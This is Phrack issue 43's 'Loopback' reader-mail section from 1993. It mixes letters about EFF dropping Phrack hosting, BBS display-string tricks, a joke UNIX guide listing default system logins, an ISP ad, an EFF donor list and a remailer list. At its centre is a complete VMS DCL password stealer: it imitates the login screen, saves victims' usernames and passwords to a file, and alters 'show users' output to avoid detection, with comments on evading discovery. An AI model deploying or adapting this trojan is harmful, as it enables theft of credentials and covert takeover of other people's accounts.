Copy Link
Add to Bookmark
Report
Phrack Inc. Volume 04 Issue 43 File 02
==Phrack Magazine==
Volume Four, Issue Forty-Three, File 2 of 27
Phrack Loopback
Part I
****************************************************************************
COMING NEXT ISSUE
Van Eck Info (Theory & Practice)
More Cellular (Monitoring Reverse Channel, Broadcasting, Reprogramming)
HUGE University Dialup List (Mail Us YOUR School's Dialup NOW!)
Neato Plans For Evil Devices
Gail Thackeray Gifs
*********************************** M A I L *********************************
Chris,
Craig Neidorf gave me these addresses as ways to reach you. He tells me
that you are currently editing Phrack. I hope you are well.
Recently the EFF sysadmins, Chris Davis and Helen Rose, informed me that
eff.org was using so much of its T-1 bandwidth that UUNET, who supplies our
IUP connection, was charging us an extra $1,000 per month. They did some
investigation at my request. We determined that Phrack traffic alone was
responsible for over 40% of the total bytes transferred from the site over
the past year or so. This is several gigabytes per month. All in all, the
CuD archive, which contains Phrack, CuD, and other publications accounts
for 85% of our total traffic. All of the email to and from EFF, Usenet
traffic, and other FTP (from the EFF archive, the CAF archive, and others)
constitutes about 15%.
EFF isn't going to be able to carry it any more because it is effectively
costing us $1,000 per month. The fundamental problem is that Phrack is so
popular (at least as a free good) to cause real expense in transmission
costs. Ultimately the users are going to have to pay the costs because
bandwidth (when measures in gigabytes anyway) isn't free. The 12K per
year it costs us to carry Phrack is not something which EFF can justify in
its budget. I'm sure you can understand this.
On July 1, eff.org moves from Cambridge to Washington, DC which is when I
expect we will stop carrying it. I wanted to raise this issue now to let
you know in advance of this happening.
I have also asked Chris and Helen to talk to Brendan Kehoe, who actually
maintains the archive, to see whether there is anything we can do to help
find another site for Phrack or make any other arrangement which will
result in less loss of service.
Mitch
------------------------------------------------------------------------------
Mitchell Kapor, Electronic Frontier Foundation
Note permanent new email address for all correspondence as of 6/1/93
mkapor@kei.com
[Editor: Well, all things must come to an end. Looks like EFF's
move to Washington is leaving behind lots of bad
memories, and looking forward to a happy life in the hotbed
of American politics. We wish them good luck. We also
encourage everyone to join.........CPSR.
In all fairness, I did ask Mitch more detail about the
specifics of the cost, and he explained that EFF was paying
flat rate for a fractional T-1, and whenever they went over
their allotted bandwidth, they were billed above and beyond
the flat rate. Oh well. Thank GOD for Len Rose.
Phrack now has a new home at ftp.netsys.com.]
****************************************************************************
I'm having a really hard time finding a lead to the Information
America Network. I am writing you guys as a last resort. Could
you point me in the right direction? Maybe an access number or
something? Thanks you very much.
[Editor: You can reach Information America voice at 404-892-1800.
They will be more than happy to send you loads of info.]
****************************************************************************
To whom it may concern:
This is a submission to the next issue of phrack...thanks for the great
'zine!
----------------------------cut here-------------------------------
Greetings Furds:
Have you ever wanted to impress one of those BBS-babes with your astounding
knowledge of board tricks? Well *NOW* you can! Be the life of the party!
Gain and influence friends! Irritate SysOps! Attain the worship and
admiration of your online pals. Searchlight BBS systems (like many other
software packages) have internal strings to display user information in
messages/posts and the like. They are as follows (tested on Searchlight BBS
System v2.25D):
\%A = displays user's access level
\%B = displays baud rate connected at
\%C = unknown
\%F = unknown
\%G = displays graphics status
\%K = displays user's first name
\%L = displays system time
\%M = displays user's time left on system
\%N = displays user's name in format: First Last
\%O = times left to call "today"
\%P = unknown
\%S = displays line/node number and BBS name
\%T = displays user's time limit
\%U = displays user's name in format: FIRST_LAST
All you gotta do is slam the string somewhere in the middle of a post or
something and the value will be inserted for the reader to see.
Example: Hey there chump, I mean \%K, you better you better UL or log
off of \%S...you leach too damn many files..you got \%M mins
left to upload some new porn GIFs or face bodily harm and
mutilation!.
----------------------------
Have phun!
Inf0rmati0n Surfer (& Dr. Cloakenstein)
SysOp Cranial Manifestations vBBS
[Editor: Ya know, once a LONG LONG time ago, I got on a BBS and
while reading messages noticed that a large amount of
messages seemed to be directed at ME!!# It took me
about 10 minutes to figure it out, but BOY WAS I MAD!
Then I added my own \%U message for the next hapless fool.
:) BIG FUN!]
****************************************************************************
-(/)-(\)-(/)-(\)-(/)-(\)-(/)-(\)-(/)-(\)-(/)-(\)-(/)-(\)-(/)-(\)-(/)-(\)-
SotMESC
The US SotMESC Chapter is offering
Scholarships for the 1993 school term.
Entries should be single-spaced paragraphs,
Double-spacing between paragraphs.
The subject should center on an aspect of the
Computer Culture and be between 20-30 pages long.
Send entries to:
SotMESC
PO Box 573
Long Beach, MS 39560
All entries submitted will become the property of the SotMESC
-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-()-
****************************************************************************
The Southwest Netrunner's League's
-----------------------------------------------------------------
WareZ RoDeNtZ Guide to UNIX!!!!
-----------------------------------------------------------------
Compiled by:The Technomancer (UNICOS,UNIX,VMS,and Amigas)
Assists by:SysCon XIV (The Ma'Bell Rapist)
Iron Man MK 4a (Things that make ya go boom)
This file begs to be folded, spindeled,and mutilated.
No Rights Reserved@1993
-----------------------------------------------------------------
Technomancer can be reached at: af604@FreeNet.hsc.colorado.edu
Coming this September.... Shadowland, 68020... Watch this space.
-----------------------------------------------------------------
Part I(Basic commands)
Phile Commands: ls=List Philes
more,page=Display Phile on Yo Terminal
cp=Copy Phile
mv=Move or Remove Philes
rm=Remove Philes
Editor Commnds: vi=Screen Editor
Dirtory cmmnds: dir=Prints Directory
mkdir=Makes a new Directory(also a VERY bad bug)
rmdir=Remove a Directory
pwd=print working directory
Misc. Commands: apropos=Locate commands by keyword lookup.
whatis=Display command description.
man=Displays manual pages online.
cal=Prints calendar
date=Prints the time and date.
who=Prints out every one who is logged in
(Well, almost everyone 7:^] )
---------------------------------------------------------------
Part II(Security(UNIX security, another OXYMORON 7:^] ))
If you are a useless wAReZ r0dEnT who wants to try to Netrun
a UNIX system, try these logins....
root
unmountsys
setup
makefsys
sysadm
powerdown
mountfsys
checkfsys
All I can help ya with on da passwords iz ta give you some
simple guidelines on how they are put together....
6-8 characters
6-8 characters
1 character is a special character (exmpl:# ! ' & *)
-----------------------------------------------------------------
Well thats all fo' now tune in next time, same Hack-time
same Hack-channel!!!
THE TECHNOMANCER I have taken all knowledge
af604@FreeNet.hsc.colorado.edu
to be my province
--
Technomancer
Southwest Netrunner's League
*****************************************************************
[Editor: This is an example of what NOT to send to Phrack.
This is probably the worst piece of garbage I've
received, so I had to print it. I can only hope
that it's a private joke that I just don't get.
Uh, please don't try to write something worse and
submit it hoping to have it singled out as the
next "worst," since I'll just ignore it.]
****************************************************************************
Dear Phrack,
I was looking through Phrack 42 and noticed the letters about password
stealers. It just so happened that the same day I had gotten extremely
busted for a program which was infinitely more indetectible. Such is life.
I got off pretty well being an innocent looking female so it's no biggie.
Anyway, I deleted the program the same day because all I could think was
"Shit, I'm fucked". I rewrote a new and improved version, and decided to
submit it. The basic advantages of this decoy are that a) there is no
login failure before the user enters his or her account, and b) the
program defines the show users command for the user so that when they
do show users, the fact that they are running out of another account
doesn't register on their screen.
There are a couple holes in this program that you should probably be
aware of. Neither of these can kick the user back into the account that
the program is running from, so that's no problem, but the program can
still be detected. (So basically, don't run it out of your own account...
except for maybe once...to get a new account to run it out of) First, once
the user has logged into their account (out of your program of course) hitting
control_y twice in a row will cause the terminal to inquire if they are
doing this to terminate the session on the remote node. Oops. It's really no
problem though, because most users wouldn't even know what this meant. The
other problem is that, if the user for some strange reason redefines show:
$show == ""
then the show users screen will no longer eliminate the fact that the account
is set host out of another. That's not a big deal either, however, because
not many people would sit around randomly deciding to redefine show.
The reason I was caught was that I (not even knowing the word "hacker"
until about a month ago) was dumb enough to let all my friends know about the
program and how it worked. The word got spread to redefine show, and that's
what happened. The decoy was caught and traced to me. Enough BS...here's the
program. Sorry...no UNIX...just VMS.
Lady Shade
I wrote the code...but I got so many ideas from my buddies:
Digital Sorcerer, Y.K.F.W., Techno-Pirate, Ephemereal Presence, and Black Ice
------------------------------------------------
$if p1 .eqs. "SHOW" then goto show
$sfile = ""
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!! The role of the dummy file in this program is to tell if the program !!!!
!!!! is being used as a decoy or as a substitute login for the victim. It !!!!
!!!! does not stay in your directory after program termination. !!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$sfile = f$search("sys$system:[ZJABAD_X]dummy.txt")
$if sfile .nes. "" then goto other
$open/write io user.dat
$close io
$open/write dummy instaar_device:[miller_g]dummy.txt
$close dummy
$wo == "write sys$output"
$line = ""
$user = ""
$pass = ""
$a$ = ""
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!! A login screen with a message informing someone of new mail wouldnt !!!!
!!!! be too cool... !!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$set broadcast=nomail
$set message/noidenficitaion/noseverity/nofacility/notext
$on error then goto outer
$!on control_y then goto inner
$wo " [H [2J"
$wo ""
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!! insert a fake logout screen here !!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$wo " ZJABAD_X logged out at ", f$time()
$wo " [2A"
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!! This is the main body of the program. It simulates the system login !!!!
!!!! screen. It also grabs the username and password and sticks them in !!!!
!!!! a file called user.dat !!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$outer:
$set term/noecho
$inquire a$/nopun ""
$inquire a$/nopun ""
$set term/echo
$c = 0
$c1 = 0
$c2 = 0
$inner:
$c2 = c2 + 1
$if c2 .eqs. 5 then goto speedup
$c = c + 1
$if c .eqs. 15 then goto fail
$if c1 .eqs. 3 then goto fail3
$user = "a"
$wo "Username: "
$from_speedup:
$set term/uppercase
$wo " [2A"
$read/time_out=10/prompt=" [9C " sys$command user
$if user .eqs. "a" then goto timeout
$set term/nouppercase
$if user .eqs. "" then goto inner
$set term/noecho
$inquire pass "Password"
$set term/echo
$if user .eqs. "ME" then goto done
$if pass .eqs. "" then goto fail
$open/append io user.dat
$write io user + " " + pass
$close io
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!! Sends the user into their account !!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$open/write io set.com
$write io "$set host 0"
$write io user + "/COMMAND=INSTAAR_DEVICE:[MILLER_G]FINDNEXT"
$write io pass
$close io
$@set
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!! Control has been returned to your account !!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$write io " [2A"
$goto outer
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!! Simulates a failure if the password is null, and also if the !!!!
!!!! username prompt has cycled through 15 times... This is what !!!!
!!!! the system login screen does. !!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$fail:
$c = 1
$c1 = c1 + 1
$wo "User authorization failure"
$wo " [1A"
$goto inner
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!! After the third failure, the system usually sends the screen back !!!!
!!!! one step...this just handles that. !!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$fail3:
$wo " [2A"
$goto outer
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!! The system keeps a timeout check in the login. If a username is not !!!!
!!!! entered quickly enough, the timeout message is activated !!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$timeout:
$set term/nouppercase
$wo "Error reading command input"
$wo "Timeout period expired"
$wo " [2A"
$goto outer
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!! There is a feature in this program which sets the terminal to !!!!
!!!! uppercase for the input of a username. This is wonderful for !!!!
!!!! preventing program detection, but it does cause a problem. It slows !!!!
!!!! the screen down, which looks suspicious. So, in the case where a !!!!
!!!! user walks up tot he terminal and holds the return key down for a !!!!
!!!! bit before typing in their username, this section speeds up the run !!!!
!!!! considerably. !!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$speedup:
$set term/nouppercase
$fast_loop:
$user = "a"
$read/time_out=1/prompt="Username: " sys$command io
$if user .eqs. "a" then goto from_speedup
$goto fast_loop
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!! This section is optional. There are many ways that you can implement !!!!
!!!! to break out of the program when you think you have gotten enough !!!!
!!!! passwords. 1), you can sit down at the terminal and type in a string !!!!
!!!! for the username and pass which kicks you out. If this option is !!!!
!!!! implemented, you should at least put in something that looks like !!!!
!!!! you have just logged in, the program should not kick straight back !!!!
!!!! to your command level, but rather execute your login.com. 2) You !!!!
!!!! can log in to the account which is stealing the password from a !!!!
!!!! different terminal and stop the process on the account which is !!!!
!!!! running the program. This is much safer, and my recommandation. !!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$done:
$set broadcast=mail
$set message/facility/text/identification/severity
$delete dummy.txt;*
$exit
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!! This section is how one covers up the fact that the account which has !!!!
!!!! been stolen is running out of another. Basically, the area of the show!!!!
!!!! users screen which registers this is at the far right hand side. !!!!
!!!! This section first writes the show users data to a file and alters !!!!
!!!! it before it is written to the screen for viewing by the user. There !!!!
!!!! may exist many forms of the show users command in your system, and !!!!
!!!! you may have to handle each one differently. I have written only two !!!!
!!!! manipulations into this code to be used as an example. But looking !!!!
!!!! at how this is preformed should be enough to allow you to write your !!!!
!!!! own special cases. Notice that what happens to activate this section !!!!
!!!! of the program is the computer detects the word "show" and interprets !!!!
!!!! it as a procedure call. The words following show become variables !!!!
!!!! passed into the program as p1, p2, etc. in the order which they !!!!
!!!! were typed after the word show. Also, by incorporating a third data !!!!
!!!! file into the manipulations, one can extract the terminal id for the !!!!
!!!! account which the program is running out of and plug this into the !!!!
!!!! place where the user's line displays his or her terminal id. Doing !!!!
!!!! this is better that putting in a fake terminal id, but that is just a !!!!
!!!! minor detail. !!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$show:
$show = ""
$show$ = ""
$length = 0
$ch = ""
$full = 0
$c = 0
$if (f$extract(5,1,p2) .eqs. "/") .and. (f$extract(6,4,p2) .nes. "FULL") then show 'p1'
$if (p2 .eqs. "USERS/FULL") .and. (p3 .eqs. "") then goto ufull
$if p2 .eqs. "USERS" .and. p3 .eqs. "" then show users
$if p2 .eqs. "USERS" .and. p3 .eqs. "" then exit
$if p3 .eqs. "" then goto fallout
$goto full
$fallout:
$show 'p2' 'p3'
$exit
$ufull:
$show users/full/output=users.dat
$goto manipulate
$full:
$show$ = p3 + "/output=users.dat"
$show users 'show$'
$manipulate:
$set message/nofacility/noseverity/notext/noidentification
$open/read io1 users.dat
$open/write io2 users2.dat
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!! Control_y must be dealt with here. If the user did happen to controlY !!!
!!!! there is a chance that the files users.dat and users2.dat could be !!!
!!!! left in their directory. That is a bad thing as we are trying to !!!
!!!! prevent detection :) !!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$on control_y then goto aborted
$user = ""
$test = ""
$long = ""
$ch = ""
$length = 0
$user = f$user()
$length = f$length(user) - 2
$user = f$extract(1,length,user)
$read_loop:
$read/end_of_file=eof io1 line
$test = f$extract(1,length,line)
$ch = f$extract (length+1,1,line)
$if (test .eqs. user) .and. (ch .eqs. " ") then goto change
$from_change:
$write io2 line
$goto read_loop
$eof:
$close io1
$close io2
$type users2.dat
$del users.dat;*
$del users2.dat;*
$show == "@instaar_device:[MILLER_G]findnext show"
$set message/facility/text/severity/identification
$exit
$change:
$if f$extract(50,1,line) .nes. "" then line = f$extract(0,57,line) + "(FAKE TERMINAL INFO)"
$goto from_change
$aborted:
$!if f$search("users.dat") .nes. "" then close io1
$!if f$search("users.dat") .nes. "" then delete users.dat;*
$!if f$search("users2.dat") .nes. "" then close io2
$!if f$search("users2.dat") .nes. "" then delete users2.dat;*
$close io1
$close io2
$delete users.dat;*
$delete users2.dat;*
$show == "@instaar_device:[MILLER_G]findnext show"
$set message/facility/text/severity/identification
$exit
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!! This is the section of the program which is executed in place of the !!!!
!!!! users login.com. It does grab their login and execute it to prevent !!!!
!!!! suspicion, but there are a couple of hidden commands which are also !!!!
!!!! added. They redefine the show and sys commands so that the user can !!!!
!!!! not detect that he or she is riding off of another account. !!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$other:
$sh$ = "@instaar_device:[miller_g]findnext show"
$shline = "$sh*ow ==" + sh$
$logi = ""
$logi = f$search("login.com")
$if logi .NES. "" then goto Ylogin
$nologin:
$open/write io login2.com
$write io shline
$close io
$@login2
$delete login2.com;*
$exit
$ylogin:
$open/write io2 login2.com
$open/read io1 login.com
$transfer_loop:
$read/end_of_file=ready io1 line
$write io2 line
$goto transfer_loop
$ready:
$write io2 "$sh*ow == ""@instaar_device:[miller_g]findnext show""
$close io1
$close io2
$@login2
$delete login2.com;*
$exit
[Editor: Thanks for the letter and program. I wish I could bring
myself to use a VMS and try it out. :) Always happy
to get notice that somewhere out there a female reads
Phrack. By the way, "innocent female" is an oxymoron.]
****************************************************************************
To: Phrack Loopback.
From: White Crocodile.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Greetings sweet Phrack and Mr. Bloodaxe. Your "loopback reports" is
really cool invention and I (sorry for egoisthic "I") with pleasure
wasting time for his reading ( ex. my playboy time ). But here for
some unknown reason appear equal style, and all loopback remind
something medium between "relations search" [Hello Dear Phrack, I am
security expert of our local area, but when I looked to output of
"last" program (oh,yeah - "last" it is ...), I ocassionaly under -
standed what apparently someone elite hacker penetrated into my
unpassworded account! But how he knew it??? I need to talk
with him! Please mail me at security@...] and "make yourself" [Yep.I
totally wrote program which gets file listing from target vicitim's
home directory in current host. After that I decided to contribute
it for You. I hope this will help. Here is the complete C code. "rx"
permission in target's '$HOME' required.].
Looking similar articles like "... off Geek!" and various reports
which don't reacheds PWN. [CENSORED BY ME].
Resulting from abovewritten reason and I let myself to add some
elite (oops word too complex), some bogus and little deposit to Your
lb. He written in classic plagiarize style.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
* * *
Good mornin' Ladys and Gentelmen! I hacking and phreaking. I know what
it is horrible (don't read it please - this message to Bart), but I
doing it all the time (today already 3 month). I have not much time to
write, and here is the subject - I broke into one military computer
and stole their mail about new security bug!!! l00k f3r |t:
- - -
DDN & CERT
SPECIAL REPORT*
Sun 3.x,4.1.x login flaw
Subject: The huge Sun 4.x login hole.(possibly Ulitix 3.0,BSD,AIX
and many yet unknown systems)
Impact: Allow random intruders to gain "root" access.
Description:
The huge security hole was there and waiting! Type:
$ login root
[ no option required ], and You are! All what You need to know its
just root's password, but it (pw), sure, can be easily obtained from
real root, by asking him (root). Ex - "$ talk root"
Possible fix until copyrighted patch come out:
#rm /usr/bin/login
#cp /usr/games/fortune /usr/bin/login
If you believe that your system has been compromised, contact CERT CC. Call
our hotline 900-FBI-PRIVATE (24 a day,please not in dinner time or in time
of "Silence of the Lamb"), leave Inet address of your system and number of
private credit card.
- - -
* Report not will be printed in cert advisories in this form, becouse FBI
need remove all hints and tips, and make him useless to intruders.
DISCLAIMER: Above document written by CERT, DDN and FBI -
all pretension to them.
Thanks to gr*k (I can't write his full name for security reasons),roxtar,
y0,Fidelio,2 scotts from Santafe,KL (He not have attitude towards this
mail,but I included him for polite since he reserved tickets for me to
SUMMERCON),ahh,x0d,all zero's (count,bob,nick,etc.) and many others for
hints to me, what this bug really exist (Yep, before I stoled report).
- Write You later - anonymous.
P.S. Yup! If You won't think what I am toady - I wanna say also thanks to TK
and sure Erik Bloodaxe. And also - IF after E911 incident you are more
carefully, feel free to replace "stole" to "got" (when you'll post it), and
do not forget to add "reprinted with permission".
- Sincerely, anonymous.
----------------------------------------------------------------------
[Editor: More indications that we will all be raided by the DEA
more often than the FBI in coming years.]
*****************************************************************************
"Since my probation status forces me to be adamant about this. Illegal
activities on Netsys cannot and will not be tolerated. Prison sucked."
- Len Rose
06/6/93
NETSYS COMMUNICATION SERVICES Palo Alto, California
Netsys is a network of large Sun servers dedicated to providing
Internet access to individuals and corporations that need solid,
reliable Internet connectivity. Netsys is at the hub of major
Internet connectivity.
Netsys is a system for professionals in both the Internet and Unix
community. The public image is important to us. Illegal activities
cannot be tolerated.
Netsys has every feature you could possibly need.
Netsys is lightly loaded, extremely reliable and dedicated to providing
full time 24 hour Internet access.
Support: 24 hour emergency response service.
Dialups: Palo Alto area, High Speed (V.32 and PEP)
Private Accounts: $20 monthly ( with file storage capacity of 5 megabytes)
$1 per megabyte per month over 5 megabytes.
Commercial Accounts: $40 monthly (file storage capacity of 10 megabytes)
$1 per megabyte per month over 10 megabytes.
Newsfeeds: We offer both nntp and uucp based newsfeeds , with all domestic
newsgroups, and including all foreign newsgroups.
SPECIAL FEATURES THAT NO ONE ELSE CAN PROVIDE
Satellite Weather: Netsys has available real time satellite weather
imagery. Images are available in gif, or Sun raster
format. Contact us for NFS mirroring, and other special
arrangement. These images are directly downlinked from
the GOES bird. Contact Steve Eigsti (steve@netsys.com)
Satellite Usenet: Netsys is offering Pagesat's satellite newsfeed service
for large volume news distribution. Members of Netsys
can obtain substantial discounts for the purchase and
service costs of this revolutionary method of Usenet news
distribution. Both Unix and MS Windows software available.
Contact (pagesat@pagesat.com) for product information.
Paging Services: Netsys is offering Pagesat's Internet to Pager mail service.
Members of Netsys can obtain critical email to pager
services. Pagesat has the ability to gateway any critical
electronic mail to your display pager.
Leased Line Internet Connections
Pagesat Inc. offers low cost 56k and T1 Internet connections all over the
United States. Since Pagesat is an FCC common carrier, our savings on
leased lines can be passed on to you. For further information, contact
Duane Dubay (djd@pagesat.com).
We offer other services such as creating domains, acting as MX
forwarders, and of course uucp based newsfeeds.
Netsys is now offering completely open shell access to Internet users.
For accounts, or more information , send mail to netsys@netsys.com
Netsys will NEVER accept more members than our capacity to serve.
Netsys prides itself on it's excellent connectivity (including multiple T1's,
and SMDS), lightly loaded systems, and it's clientele.
We're not your average Internet Service Provider. And it shows.
--------------------------------------------------------------------
[Editor: We here at Phrack are forever in debt to Mr. Len Rose for
allowing us to use ftp.netsys.com as our new official FTP
site after getting the boot off EFF. It takes a steel
set of huevos to let such an evil hacker publication
reside on your hard drive after serving time for having
dealings with evil hackers. We are STOKED! Thanks Len!
Netsys is not your average site, INDEED!]
****************************************************************************
Something Phrack might like to see:
The contributors to and practices of the Electronic Frontier Foundation
disclose quite accurately, just who this organization represents. We
challenge the legitimacy of the claim that this is a "public interest"
advocate. Here is a copy of their list of contributors:
[FINS requested the Office of the Attorney General of the Commonwealth of
Massachusetts to provide us with a list of contributors of over $5000, to
the Electronic Frontier Foundation, required by IRS Form 990. Timothy E.
Dowd, of the Division of Public Charities, provided us with a list (dated
January 21, 1993), containing the following information. No response was
given to a phone request by FINS directly to EFF, for permission to inspect
and copy the most current IRS Form 990 information.]
ELECTRONIC FRONTIER FOUNDATION, INC.
IRS FORM 990. PART I - LIST OF CONTRIBUTIONS
NAME AND ADDRESS OF CONTRIBUTOR CONTRIBUTION
DATE AMOUNT
Kapor Family Foundation
C/O Kapor Enterprises, Inc.
155 2nd Street
Cambridge, MA 02141 Var 100,000
Mitchell D. Kapor
450 Warren Street
Brookline, MA 02146 Var 324,000
Andrew Hertzfeld
370 Channing Avenue
Palo Alto, CA 94301 12/12/91 5,000
Dunn & Bradstreet
C/O Michael F. ...
1001 G Street, NW Suite 300 East
Washington, DC 20001 02/12/92 10,000
National Cable Television
1724 Massachusetts Avenue, NW
Washington, DC 20036 02/18/92 25,000
MCI Communications Corporation
1133 19th Street, NW
Washington, DC 20036 03/11/92 15,000
American Newspaper Publishers
Association
The Newspaper CTR
11600 Sunrise Valley
Reston, VA 22091 03/23/92 20,000
Apple Computer
20525 Mariani Avenue MS:75-61
Cupertino, CA 95014 03/23/92 50,000
Sun Microsystems, Inc
c/o Wayne Rosing
2550 Garcia Ave
Mountain View, CA 94043-1100 04/03/92 50,000
Adobe Systems, Inc.
c/o William Spaller
1585 Charlestown Road
Mountain View, CA 94039-7900 04/16/92 10,000
International Business Systems
c/o Robert Carbert, Rte 100
Somers, NY 10589 05/07/92 50,000
Prodigy Services Company
c/o G. Pera...
445 Hamilton Avenue
White Plains, NY 10601 05/07/92 10,000
Electronic Mail Associates
1555 Wilson Blvd. Suite 300
Arlington, VA 22209 05/13/92 10,000
Microsoft
c/o William H. Neukom
1 Microsoft Way
Redmond, VA 98052 06/25/92 50,000
David Winer
933 Hermosa Way
Menio Park, CA 94025 01/02/92 5,000
Ed Venture Holdings
c/o Ester Dvson
375 Park Avenue
New York, NY 10152 03/23/92 15,000
Anonymous 12/26/91 10,000
Bauman Fund
c/o Patricia Bauman
1731 Connecticut Avenue
Washington, DC 20009-1146 04/16/92 2,500
Capital Cities ABA
c/o Mark MacCarthy
2445 N. Street, NW Suite 48
Washington, DC 20037 05/04/92 1,000
John Gilmore
210 Clayton Street
San Francisco, CA 94117 07/23/91 1,488
08/06/91 100,000
Government Technology 10/08/91 1,000
Miscellaneous 04/03/91 120
Apple Writers Grant
c/o Apple Computer
20525 Mariani Avenue 01/10/92 15,000
[Editor: Well, hmmm. Tell you guys what: Send Phrack that
much money and we will give up our ideals and move to
a new location, and forget everything about what we
were all about in the beginning. In fact, we will turn
our backs on it. Fair?
I was talking about me moving to Europe and giving
up computers. Don't read anything else into that. Nope.]
****************************************************************************
-----BEGIN PGP SIGNED MESSAGE-----
Q1: What cypherpunk remailers exist?
A1:
1: hh@pmantis.berkeley.edu
2: hh@cicada.berkeley.edu
3: hh@soda.berkeley.edu
4: nowhere@bsu-cs.bsu.edu
5: remail@tamsun.tamu.edu
6: remail@tamaix.tamu.edu
7: ebrandt@jarthur.claremont.edu
8: hal@alumni.caltech.edu
9: remailer@rebma.mn.org
10: elee7h5@rosebud.ee.uh.edu
11: phantom@mead.u.washington.edu
12: hfinney@shell.portal.com
13: remailer@utter.dis.org
14: 00x@uclink.berkeley.edu
15: remail@extropia.wimsey.com
NOTES:
#1-#6 remail only, no encryption of headers
#7-#12 support encrypted headers
#15 special - header and message must be encrypted together
#9,#13,#15 introduce larger than average delay (not direct connect)
#14 public key not yet released
#9,#13,#15 running on privately owned machines
======================================================================
Q2: What help is available?
A2:
Check out the pub/cypherpunks directory at soda.berkeley.edu
(128.32.149.19). Instructions on how to use the remailers are in the
remailer directory, along with some unix scripts and dos batch files.
Mail to me (elee9sf@menudo.uh.edu) for further help and/or questions.
======================================================================
-----BEGIN PGP SIGNATURE-----
Version: 2.2
iQCVAgUBLAulOYOA7OpLWtYzAQHLfQP/XDSipOUPctZnqjjTq7+665MWgysE1ex9
lh3Umzk2Q647KyqhoCo8f7nVrieAZxK0HjRFrRQnQCwjTSQrve2eAQ1A5PmJjyiI
Y55E3YIXYmKrQekIHUKaMyATfnhNc6+2MT8mwaWz2kiOTRkun/SlNI3Cv3Qt8Emy
Y6Zv0kk/7rs=
=simY
-----END PGP SIGNATURE-----
[Editor: We suggest that everyone go ahead and get the info file from
soda.berkeley.edu's ftp site. While you are there,
take a look around. Lots of groovy free stuff.]
